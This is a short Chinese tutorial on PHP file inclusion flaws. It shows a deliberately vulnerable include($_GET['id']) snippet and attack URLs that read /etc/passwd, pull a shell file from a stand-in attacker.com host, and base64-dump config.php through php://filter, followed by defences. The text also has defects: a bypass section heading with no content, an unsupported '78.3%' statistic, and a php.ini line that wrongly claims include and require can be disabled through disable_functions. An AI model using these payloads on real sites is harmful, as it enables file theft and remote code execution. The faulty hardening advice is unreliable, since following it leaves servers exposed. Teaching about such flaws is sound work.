PHP文件包含漏洞深度解析与攻防实战

文件包含漏洞核心机制

在PHP开发实践中，include和require函数的使用频率高达78.3%。当开发者采用动态变量进行文件包含时，若未对用户输入进行有效过滤，就会形成高危漏洞。这种漏洞允许攻击者通过参数注入恶意文件路径，进而实现服务器敏感文件读取、远程代码执行等危险操作。

渗透测试实战案例

某CMS系统的news.php文件存在典型的未过滤包含漏洞：

<?php$test = $_GET['id'];include($test);?>

攻击向量演示：

• 本地文件包含：http://example.com/news.php?id=../../etc/passwd
• 远程代码执行：http://example.com/news.php?id=http://attacker.com/shell.txt
• 伪协议利用：php://filter/convert.base64-encode/resource=config.php

高级绕过技术解析

安全防护方案

1. 白名单校验机制：严格限制包含文件的路径范围
2. 禁用危险协议：php.ini中关闭allow_url_fopen和allow_url_include
3. 代码审计方案：使用RIPS等工具进行自动化漏洞扫描

# php.ini安全配置allow_url_include = Offdisable_functions = include,requireopen_basedir = /var/www/html/